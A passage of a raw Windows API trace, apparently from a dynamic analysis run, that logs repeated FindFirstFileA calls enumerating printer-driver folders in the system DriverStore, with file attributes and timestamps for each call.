ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.339] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx002.inf_amd64_neutral_12563574abbc36eb\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a389e8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a84ca9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a84ca9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.346] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx003.inf_amd64_neutral_d1510a8315a2ea0d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4338a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cefe5de, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cefe5de, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.347] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx003.inf_amd64_neutral_d1510a8315a2ea0d\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4338a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58b8f64b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58b8f64b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.354] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx004.inf_amd64_neutral_2cf95f307381e481\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c73e8c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf2473f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf2473f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.355] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx004.inf_amd64_neutral_2cf95f307381e481\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c73e8c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58c73e8c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58c73e8c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.357] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx005.inf_amd64_neutral_f65eeb9bff6bd8f3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58d3256e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf2473f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf2473f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.358] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx005.inf_amd64_neutral_f65eeb9bff6bd8f3\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58d586ce, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58d7e82e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58d7e82e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.365] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx006.inf_amd64_neutral_cc725426972d1293\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58e16daf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.366] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx006.inf_amd64_neutral_cc725426972d1293\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58e16daf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58e3cf10, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58e3cf10, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.368] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx007.inf_amd64_neutral_0b796ee4978458e2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58efb5f1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.368] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx007.inf_amd64_neutral_0b796ee4978458e2\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58efb5f1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58f21751, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58f21751, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.378] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx008.inf_amd64_neutral_75545721835fd863\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fb9cd2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.379] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx008.inf_amd64_neutral_75545721835fd863\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fdfe33, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58fdfe33, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58fdfe33, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.381] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx009.inf_amd64_neutral_d4b76afd08f308fb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909e514, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.382] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx009.inf_amd64_neutral_d4b76afd08f308fb\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909e514, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5909e514, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5909e514, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.383] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00a.inf_amd64_neutral_a89d2c01c0f43dfd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5915cbf5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.384] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00a.inf_amd64_neutral_a89d2c01c0f43dfd\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5915cbf5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59182d56, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59182d56, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.385] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00b.inf_amd64_neutral_89b555703683b583\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5921b2d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.386] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00b.inf_amd64_neutral_89b555703683b583\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5921b2d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59241437, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59241437, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.394] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00c.inf_amd64_neutral_79ebe29715d2fa47\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59325c79, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf96b5f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf96b5f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.395] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00c.inf_amd64_neutral_79ebe29715d2fa47\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59325c79, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59325c79, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59325c79, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.396] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00d.inf_amd64_neutral_ce7a0b4e23e432ad\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x593e435a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf96b5f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf96b5f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.397] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00d.inf_amd64_neutral_ce7a0b4e23e432ad\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x593e435a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x593e435a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x593e435a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.399] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00e.inf_amd64_neutral_0a4797d9b127d3a7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594a2a3b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.400] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00e.inf_amd64_neutral_0a4797d9b127d3a7\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594a2a3b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x594c8b9c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x594c8b9c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.401] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00v.inf_amd64_neutral_86ff307c66080d00\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5956111d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.402] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00v.inf_amd64_neutral_86ff307c66080d00\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5956111d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5956111d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5956111d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.428] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00w.inf_amd64_neutral_d4c93bb2fbf75723\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x595f969e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.429] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00w.inf_amd64_neutral_d4c93bb2fbf75723\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5961f7fe, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5961f7fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5961f7fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.431] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00x.inf_amd64_neutral_808baf4e08594a59\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596b7d7f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.432] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00x.inf_amd64_neutral_808baf4e08594a59\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596b7d7f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x596b7d7f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x596b7d7f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.433] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00y.inf_amd64_neutral_977318f2317f5ddd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59776461, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.434] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00y.inf_amd64_neutral_977318f2317f5ddd\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59776461, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59776461, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59776461, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.436] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00z.inf_amd64_neutral_aea50acf04a2db1d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59834b42, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.437] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx00z.inf_amd64_neutral_aea50acf04a2db1d\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59834b42, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59834b42, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59834b42, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.439] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms001.inf_amd64_neutral_9b214cd9b78760aa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4f2937, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b518a98, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b518a98, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.445] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms001.inf_amd64_neutral_9fe8503f82ce60fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9604d35, ftCreationTime.dwHighDateTime=0x1cb892d, ftLastAccessTime.dwLowDateTime=0xb96e9576, ftLastAccessTime.dwHighDateTime=0x1cb892d, ftLastWriteTime.dwLowDateTime=0xb96e9576, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.451] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms002.inf_amd64_neutral_d834e48846616289\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ab37aa1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c72fd54, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c72fd54, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.452] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms002.inf_amd64_neutral_d834e48846616289\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ab37aa1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3abd0022, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3abd0022, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.454] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr002.inf_amd64_neutral_37896c5e81c8d488\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a23d26, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d008f80, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d008f80, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.455] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr002.inf_amd64_neutral_37896c5e81c8d488\\Amd64\\*.*", lpFindFileData=0x18f658 | out: 